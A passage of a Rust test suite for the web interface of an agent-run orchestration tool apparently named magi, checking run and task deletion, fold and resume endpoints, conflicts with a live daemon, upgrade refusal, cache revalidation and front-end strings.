5351 q.put(&mut t3).expect("put t3");
5352 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
5353 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
5354 assert_eq!(res.status, 204);
5355 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
5356 assert!(
5357 q.claim(&t3.id).is_ok(),
5358 "the stale lock went with it, so the id is claimable again"
5359 );
5360
5361 let res = fx.delete("/api/queue/nonexistent").await;
5363 assert_eq!(res.status, 404);
5364 }
5365
5366 #[tokio::test]
5367 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
5368 let fx = Fixture::start().await;
5369 let runs = fx.runs();
5370
5371 let run_id = "20260901-000000-fold";
5373 let mut state = RunState::new(
5374 PathBuf::from("/repo"),
5375 "main".to_owned(),
5376 "abc".to_owned(),
5377 "instruction".to_owned(),
5378 Config::default(),
5379 );
5380 state.id = run_id.to_owned();
5381 state.status = RunStatus::Merged;
5382 state.candidates.push(crate::run::Candidate {
5383 index: 0,
5384 label: 'A',
5385 agent: "a".to_owned(),
5386 branch: "b".to_owned(),
5387 worktree: PathBuf::from("/w"),
5388 summary: String::new(),
5389 stat: String::new(),
5390 files: 1,
5391 commits: 1,
5392 empty: false,
5393 failed: None,
5394 duration_ms: 0,
5395 folded: true,
5396 });
5397 let dir = runs.join(run_id);
5398 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
5399 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
5400 .expect("write artifact");
5401 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
5402 .expect("write run.json");
5403
5404 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
5406 assert_eq!(res.status, 204);
5407 assert!(res.body.is_empty(), "204 has no body");
5408 assert!(!dir.exists(), "run directory and artifacts must be deleted");
5409
5410 let run_running = "20260901-000000-rung";
5415 write_run(&runs, run_running, RunStatus::Prep);
5416 let mut beat = crate::daemon::Status::new();
5417 beat.current = Some(crate::daemon::Current {
5418 task: "20260901-000000-task".to_owned(),
5419 run: run_running.to_owned(),
5420 });
5421 beat.updated_at = jiff::Timestamp::now();
5422 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5423 .expect("publish a heartbeat");
5424 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
5425 assert_eq!(res.status, 409);
5426 assert!(
5427 res.json()["error"]
5428 .as_str()
5429 .unwrap()
5430 .contains("live daemon"),
5431 "the refusal must say who is holding it"
5432 );
5433 assert!(
5434 runs.join(run_running).exists(),
5435 "a run in flight keeps its directory"
5436 );
5437
5438 let run_unfolded = "20260901-000000-unfd";
5440 let mut state2 = RunState::new(
5441 PathBuf::from("/repo"),
5442 "main".to_owned(),
5443 "abc".to_owned(),
5444 "instruction".to_owned(),
5445 Config::default(),
5446 );
5447 state2.id = run_unfolded.to_owned();
5448 state2.status = RunStatus::Ready;
5449 state2.candidates.push(crate::run::Candidate {
5450 index: 0,
5451 label: 'A',
5452 agent: "a".to_owned(),
5453 branch: "b".to_owned(),
5454 worktree: PathBuf::from("/w"),
5455 summary: String::new(),
5456 stat: String::new(),
5457 files: 1,
5458 commits: 1,
5459 empty: false,
5460 failed: None,
5461 duration_ms: 0,
5462 folded: false,
5463 });
5464 let dir2 = runs.join(run_unfolded);
5465 std::fs::create_dir_all(&dir2).expect("create dir2");
5466 std::fs::write(
5467 dir2.join("run.json"),
5468 serde_json::to_string(&state2).unwrap(),
5469 )
5470 .expect("write run.json");
5471
5472 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
5473 assert_eq!(res.status, 409);
5474 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
5475 assert!(dir2.exists(), "unfolded run directory is kept");
5476
5477 let res = fx.delete("/api/runs/nonexistent").await;
5479 assert_eq!(res.status, 404);
5480 }
5481
5482 #[test]
5483 fn web_ui_delete_contract_in_front_end() {
5484 assert!(APP_JS.contains("deleteRun:"));
5486 assert!(APP_JS.contains("deleteTask:"));
5487
5488 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
5490 ..APP_JS.find("function renderRuns").unwrap()];
5491 assert!(!run_cards_slice.to_lowercase().contains("delete"));
5492
5493 assert!(APP_JS.contains("renderRunDelete"));
5495 assert!(APP_JS.contains("runDeleteReason"));
5496 assert!(APP_JS.contains("magi fold"));
5497 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
5498
5499 assert!(APP_JS.contains("cancel.focus"));
5501 assert!(APP_JS.contains("armedRunDelete"));
5502 assert!(APP_JS.contains("armedDelete"));
5503
5504 assert!(APP_JS.contains("disabled: status === \"running\""));
5506 }
5507
5508 #[test]
5528 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
5529 let build = APP_JS
5530 .find("function createRunCard")
5531 .expect("createRunCard exists");
5532 let update = APP_JS
5533 .find("function updateRunCard")
5534 .expect("updateRunCard exists");
5535 let end = APP_JS
5536 .find("function renderRuns")
5537 .expect("renderRuns exists");
5538
5539 let builder = &APP_JS[build..update];
5541 let open = builder.find("refs = {").expect("createRunCard sets refs");
5542 let literal = &builder[open + "refs = {".len()..];
5543 let close = literal.find('}').expect("the refs literal is closed");
5544 let published: HashSet<&str> = literal[..close]
5545 .split(',')
5546 .filter_map(|entry| entry.split(':').next())
5548 .map(str::trim)
5549 .filter(|name| !name.is_empty())
5550 .collect();
5551 assert!(
5552 published.len() > 5,
5553 "the refs literal did not parse into names: {published:?}"
5554 );
5555
5556 let mut used: Vec<&str> = Vec::new();
5559 let updaters = &APP_JS[update..end];
5560 for (at, _) in updaters.match_indices("r.") {
5561 let before = updaters[..at].chars().next_back();
5564 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
5565 continue;
5566 }
5567 let rest = &updaters[at + 2..];
5568 let len = rest
5569 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
5570 .unwrap_or(rest.len());
5571 if len > 0 {
5572 used.push(&rest[..len]);
5573 }
5574 }
5575 assert!(
5576 used.len() > 5,
5577 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
5578 );
5579
5580 let missing: Vec<&str> = used
5581 .iter()
5582 .copied()
5583 .filter(|name| !published.contains(name))
5584 .collect();
5585 assert!(
5586 missing.is_empty(),
5587 "a run card's updater reaches for {missing:?}, which `createRunCard` \
5588 never put in `refs` - every card will throw and the list will \
5589 render empty under a count line that says otherwise. Published: \
5590 {published:?}"
5591 );
5592 }
5593
5594 #[tokio::test]
5595 async fn folding_from_the_phone_reports_what_it_removed() {
5596 let fx = Fixture::start().await;
5597 let runs = fx.runs();
5598
5599 let id = "20260901-000000-fold";
5603 write_run(&runs, id, RunStatus::Stalled);
5604 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5605 assert_eq!(res.status, 200);
5606 assert_eq!(res.json()["removed_count"], 0);
5607 assert_eq!(res.json()["run"], id);
5608 assert!(
5609 runs.join(id).exists(),
5610 "a fold keeps the run's record; only the worktrees go"
5611 );
5612 }
5613
5614 #[tokio::test]
5615 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
5616 let fx = Fixture::start().await;
5617 let runs = fx.runs();
5618 let wt = fx.home.path().join("wt").join("magi").join("dead");
5619 let id = "20260901-000000-dead";
5620 std::fs::create_dir_all(runs.join(id)).expect("run dir");
5621 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
5622 std::fs::create_dir_all(&wt).expect("worktree dir");
5623
5624 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5625 assert_eq!(res.status, 200, "{}", res.body);
5626 assert!(
5627 res.json()["removed_count"].as_u64().unwrap() > 0,
5628 "the worktree this build could not read a state for still went"
5629 );
5630 assert!(
5631 !runs.join(id).exists(),
5632 "an unreadable run has no candidate list to fold selectively, so \
5633 the whole record goes - same as `magi fold` on the CLI"
5634 );
5635 }
5636
5637 #[tokio::test]
5638 async fn deleting_an_unreadable_run_removes_it_wholesale() {
5639 let fx = Fixture::start().await;
5640 let runs = fx.runs();
5641 let wt = fx.home.path().join("wt").join("magi").join("gone");
5642 let id = "20260901-000000-gone";
5643 std::fs::create_dir_all(runs.join(id)).expect("run dir");
5644 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
5645 std::fs::create_dir_all(&wt).expect("worktree dir");
5646
5647 let res = fx.delete(&format!("/api/runs/{id}")).await;
5648 assert_eq!(res.status, 204, "{}", res.body);
5649 assert!(!runs.join(id).exists(), "the broken record is gone");
5650 assert!(!wt.exists(), "its worktree is gone too");
5651 }
5652
5653 #[tokio::test]
5654 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
5655 let fx = Fixture::start().await;
5656 let runs = fx.runs();
5657 let id = "20260901-000000-live";
5658 write_run(&runs, id, RunStatus::Implementing);
5659
5660 let mut beat = crate::daemon::Status::new();
5661 beat.current = Some(crate::daemon::Current {
5662 task: "20260901-000000-task".to_owned(),
5663 run: id.to_owned(),
5664 });
5665 beat.updated_at = jiff::Timestamp::now();
5666 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5667 .expect("publish a heartbeat");
5668
5669 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5670 assert_eq!(res.status, 409);
5671 assert!(
5672 res.json()["error"]
5673 .as_str()
5674 .unwrap()
5675 .contains("live daemon"),
5676 "folding under a running agent would pull its worktree away"
5677 );
5678 }
5679
5680 #[tokio::test]
5681 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
5682 let fx = Fixture::start().await;
5683 let runs = fx.runs();
5684
5685 for (status, word) in [
5691 (RunStatus::Merged, "merged"),
5692 (RunStatus::Ready, "ready"),
5693 (RunStatus::Failed, "failed"),
5694 ] {
5695 let id = format!("20260901-000000-{}", &word[..4]);
5696 write_run(&runs, &id, status);
5697 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
5698 assert_eq!(res.status, 409, "{word} must not be resumable");
5699 let err = res.json()["error"].as_str().unwrap().to_owned();
5700 assert!(err.contains(word), "the refusal names the status: {err}");
5701 }
5702
5703 let mid = "20260901-000000-midf";
5708 write_run(&runs, mid, RunStatus::Reviewing);
5709 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
5710 assert_eq!(res.status, 202, "an interrupted run is resumable");
5711 }
5712
5713 #[tokio::test]
5714 async fn resume_is_refused_while_the_loop_is_running() {
5715 let fx = Fixture::start().await;
5716 let runs = fx.runs();
5717 let stalled = "20260901-000000-stal";
5718 write_run(&runs, stalled, RunStatus::Stalled);
5719
5720 let mut beat = crate::daemon::Status::new();
5723 beat.current = Some(crate::daemon::Current {
5724 task: "20260901-000000-task".to_owned(),
5725 run: "20260901-000000-othr".to_owned(),
5726 });
5727 beat.updated_at = jiff::Timestamp::now();
5728 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5729 .expect("publish a heartbeat");
5730
5731 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5732 assert_eq!(res.status, 409);
5733 let err = res.json()["error"].as_str().unwrap().to_owned();
5734 assert!(err.contains("othr"), "it names what the loop is on: {err}");
5735 assert!(err.contains("one competition at a time"), "{err}");
5736 }
5737
5738 #[test]
5739 fn a_run_cannot_be_resumed_twice_at_once() {
5740 let home = TempDir::new().expect("temp home");
5741 let ui = Ui::new(
5742 Queue::at(home.path().join("queue")),
5743 Questions::at(home.path().join("questions")),
5744 Chats::at(home.path().join("chats")),
5745 Talks::at(home.path().join("talks")),
5746 home.path().join("runs"),
5747 home.path().to_path_buf(),
5748 PathBuf::from("/repo"),
5749 )
5750 .with_worktrees_root(home.path().join("wt"));
5751 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5752 let again = ui.begin_resume("20260901-000000-once");
5753 assert!(again.is_err(), "a second tap must not start a second graph");
5754 drop(first);
5755 assert!(
5756 ui.begin_resume("20260901-000000-once").is_ok(),
5757 "and the claim is released when the attempt ends"
5758 );
5759 }
5760
5761 #[test]
5762 fn refreshing_a_conversation_never_navigates_to_it() {
5763 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5770 ..APP_JS.find("async function startChat(").expect("startChat")];
5771 assert!(
5772 !body.contains("state.chatDetail = {"),
5773 "loadChat must not decide which conversation is on screen: {body}"
5774 );
5775 assert!(
5776 body.contains("if (state.chatDetail.id !== id) return;"),
5777 "it returns instead of drawing a chat the operator is not reading"
5778 );
5779
5780 assert!(
5784 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5785 "settle the turn before the on-screen check"
5786 );
5787
5788 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5790 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5791 }
5792
5793 #[tokio::test]
5794 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5795 let fx = Fixture::start().await;
5796 let mut beat = crate::daemon::Status::new();
5800 beat.pid = 4321;
5801 beat.updated_at = jiff::Timestamp::now();
5802 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5803 .expect("publish a heartbeat");
5804
5805 let res = fx.post("/api/upgrade", None).await;
5806 assert_eq!(res.status, 409);
5807 let err = res.json()["error"].as_str().unwrap().to_owned();
5808 assert!(err.contains("4321"), "the refusal names the owner: {err}");
5809 assert!(err.contains("old one against the same queue"), "{err}");
5810 }
5811
5812 #[tokio::test]
5813 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5814 let repo = TempDir::new().expect("repo dir");
5830 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
5831 .expect("write magi.toml");
5832 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
5833
5834 let res = fx.post("/api/upgrade", None).await;
5840 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5841 let body = res.json();
5842 assert!(body["to"].is_null(), "there was no release to move to");
5843 assert!(body["parked"].is_null(), "and nothing was parked");
5844 assert!(
5845 body["detail"]
5846 .as_str()
5847 .unwrap()
5848 .contains("nothing restarted"),
5849 "{body:?}"
5850 );
5851 }
5852
5853 #[test]
5854 fn the_upgrade_button_arms_before_it_restarts_anything() {
5855 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5858 assert!(APP_JS.contains("Replace the binary and restart?"));
5859 assert!(APP_JS.contains("function confirmed("));
5860 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5862 assert!(
5866 APP_JS.contains("Parking, then restarting"),
5867 "the button says what it is waiting for"
5868 );
5869 assert!(APP_JS.contains("if (!out.to)"));
5872 }
5873
5874 #[test]
5875 fn an_error_is_visible_from_where_the_button_is() {
5876 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5881 ..APP_CSS.find(".alert-text").expect(".alert-text")];
5882 assert!(
5883 alert.contains("position: fixed"),
5884 "an error about the thing under your thumb has to be visible from \
5885 where your thumb is: {alert}"
5886 );
5887 assert!(
5888 alert.contains("z-index: 25"),
5889 "above the dock (20) and the run-actions FAB (15), so neither \
5890 buries it: {alert}"
5891 );
5892 assert!(
5893 alert.contains("var(--tap)"),
5894 "and clear of the dock and the home indicator: {alert}"
5895 );
5896 assert!(
5899 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5900 "the FAB's column stays free: {alert}"
5901 );
5902 }
5903
5904 #[tokio::test]
5905 async fn an_older_attempt_says_what_replaced_it() {
5906 let fx = Fixture::start().await;
5907 let q = fx.queue();
5908 let runs = fx.runs();
5909 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5910 write_run(&runs, first, RunStatus::Stalled);
5911 write_run(&runs, second, RunStatus::Blocked);
5912
5913 let mut t = Task::new(
5914 "one task".to_owned(),
5915 "do it".to_owned(),
5916 PathBuf::from("/repo"),
5917 Source::Human,
5918 );
5919 t.runs = vec![first.to_owned(), second.to_owned()];
5920 q.put(&mut t).expect("put");
5921
5922 let rows = fx.get("/api/runs").await.json();
5926 let by = |short: &str| -> Value {
5927 rows.as_array()
5928 .unwrap()
5929 .iter()
5930 .find(|r| r["short"] == short)
5931 .cloned()
5932 .unwrap_or(Value::Null)
5933 };
5934 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5935 assert!(
5936 by("bbbb")["superseded_by"].is_null(),
5937 "the latest attempt is not superseded by anything"
5938 );
5939 assert!(APP_JS.contains("run.superseded_by"));
5941 assert!(APP_JS.contains("Superseded by"));
5942 }
5943
5944 #[tokio::test]
5945 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5946 let fx = Fixture::start().await;
5947 let js = fx.get("/app.js").await;
5953 assert_eq!(js.status, 200);
5954 let tag = js
5955 .header("etag")
5956 .expect("an etag to revalidate against")
5957 .to_owned();
5958 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5959 assert_eq!(
5960 js.header("cache-control"),
5961 Some("no-cache, must-revalidate"),
5962 "the phone has to ask every time"
5963 );
5964
5965 let again = fx
5968 .get_with("/app.js", &[("if-none-match", tag.as_str())])
5969 .await;
5970 assert_eq!(
5971 again.status, 304,
5972 "a deck it already has costs one round trip"
5973 );
5974 assert!(again.body.is_empty(), "304 carries no body");
5975
5976 let weak = fx
5979 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5980 .await;
5981 assert_eq!(weak.status, 304);
5982 let stale = fx
5983 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5984 .await;
5985 assert_eq!(stale.status, 200, "an older build must be replaced");
5986 assert!(stale.body.contains("renderRunActions"));
5987 }
5988
5989 #[test]
5990 fn the_deck_never_sends_the_operator_to_a_terminal() {
5991 assert!(
5994 !APP_JS.contains("Run `magi fold` first"),
5995 "the deck must offer the fold, not prescribe a shell command"
5996 );
5997 assert!(APP_JS.contains("foldRun:"));
5998 assert!(APP_JS.contains("resumeRun:"));
5999 assert!(APP_JS.contains("renderRunActions"));
6000
6001 assert!(APP_JS.contains("armedFold"));
6003 assert!(APP_JS.contains("Yes, fold worktrees"));
6004
6005 assert!(APP_JS.contains("can no longer be resumed"));
6008 }
6009
6010 #[test]
6011 fn a_finished_run_explains_itself_with_its_own_last_line() {
6012 assert!(
6018 !APP_JS.contains("collapsed on agent quota"),
6019 "a stall must not be explained by a cause the deck did not check"
6020 );
6021 assert!(
6022 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
6023 "and a block must not offer a guess with an `or` in it"
6024 );
6025
6026 assert!(
6030 APP_JS.contains("setText(r.event, run.event || \"\")"),
6031 "the run's last line is rendered unconditionally"
6032 );
6033 assert!(
6034 !APP_JS.contains("moving && run.event"),
6035 "and never gated on the run still moving"
6036 );
6037
6038 assert!(APP_JS.contains("lost to quota"));
6040 }
6041}